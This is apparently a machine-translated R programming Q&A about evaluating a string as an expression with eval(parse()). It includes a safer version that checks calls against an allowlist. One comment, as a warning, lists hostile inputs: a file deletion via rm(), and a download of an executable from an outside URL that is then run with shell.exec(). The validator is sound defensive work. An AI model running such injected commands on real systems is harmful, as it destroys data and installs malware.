R:对字符串求值

R:对字符串求值,r,metaprogramming,shiny,R,Metaprogramming,Shiny,事实证明,有必要定义一个函数eval_string,该函数将字符串作为表达式(/call)进行计算。例如,如果: string <- 'cyl == 6 & disp > 200' 相当于: eval(quote(cyl == 6 & disp > 200), mtcars) 这是我的尝试: eval_string <- function(string, ...) eval(parse(text = string), ...) 如果不对字符串进行解析

事实证明,有必要定义一个函数
eval_string
,该函数将字符串作为表达式(/call)进行计算。例如,如果:

string <- 'cyl == 6 & disp > 200'
相当于:

eval(quote(cyl == 6 & disp > 200), mtcars)
这是我的尝试:

eval_string <- function(string, ...) eval(parse(text = string), ...)
如果不对字符串进行解析,就无法“计算”字符串(在当前意义上)。因此,如果您的输入是一个字符串,那么就无法避免
parse

请参见
subset.data.frame
,了解如何在没有字符串的情况下执行此操作


[[EDIT]]但是subset.data.frame基本上是
eval
-计算数据帧中的表达式。因此,如果出于某种原因,你对
eval
替换
(或者他们的朋友喜欢
内的
)不满意,那么答案似乎是否定的。

为了避免使用eval,我有一个闪亮的应用程序:


对任意用户输入的dat求值是
eval(parse())
的合法用例。然而,出于安全考虑,我对此感到不舒服;请参阅示例,确保您可以假设字符串不包含任何类似于
rm('importantFile.doc')
donwnload.file('doc')的内容http://billgates.com/virus.exe'); shell.exec('virus.exe')
甚至
系统('senate-money$1000-to hackers')
我不认为
parse
在这个特定的用途上是不受欢迎的,因为人们倾向于在不必要的时候(错误地)使用它。在您的情况下,这似乎是必需的。关于@Roland的安全问题,RAppArmor包中有一个安全版本的eval(eval.secure),它在沙箱中执行,除非父进程拥有超级用户权限,否则无法行使超级用户权限。
eval_string <- function(string, ...) eval(parse(text = string), ...)
library(pryr)

subset_with_string <- function(string, data) {
  expr <- parse(text = string)[[1]]
  subset_calls <- c("==", "!=", "&", "|", ">", "<", ">=", "<=", "(")
  legal_call <- all(fun_calls(expr) %in% subset_calls)                          
  if (legal_call) {
    data[eval(expr, data), ]
  } 
  else {
    stop('string does not induce a legal subset call to evaluate!')
  }
}

subset_with_string("(cyl == 6 & hp > 100) | gear == 4", mtcars)

subset_with_string("rm('importantFile.doc')", mtcars)